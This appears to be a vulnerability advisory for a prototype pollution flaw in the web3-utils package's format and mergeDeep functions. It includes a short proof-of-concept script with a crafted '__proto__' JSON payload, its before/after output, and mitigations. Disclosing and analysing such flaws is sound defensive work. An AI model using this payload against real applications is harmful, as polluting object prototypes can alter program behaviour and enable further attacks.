Overview
web3-utils is a sub-package of web3.js Web3.js whic is a TypeScript implementation of the Ethereum JSON RPC API and related tooling maintained by ChainSafe Systems.
web3-utils contains useful utility functions for Dapp developers.
Attack Vector
Affected versions of this package are vulnerable to Prototype Pollution via the utility functions format and mergeDeep,
An attacker can manipulate the prototype of an object, potentially leading to the alteration of behavior of all objects inheriting from the affected prototype by passing specially crafted input to these functions.
Vulnerability Details
The vulnerable functions format
and mergeDeep
spotted in web3-utils/lib/commonjs/formatter.js
and web3-utils/lib/commonjs/objects.js
respectively when mergeDeep used to merge the vulnerable argument "data" with the empty object {}.
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: mergeDeep({},source)
.
**POC:**
const Web3Utils = require('web3-utils');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
Web3Utils.format({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
Web3Utils.mergeDeep({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
output:
Before Attack: {}
After Attack: {"polluted":true}
Before Attack: {}
After Attack: {"polluted":true}
Mitigation
For Devlopers:
- Freeze the prototype— use Object.freeze (Object.prototype).
- Validate and sanitize inputs to prevent modifying
__proto__
. - Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.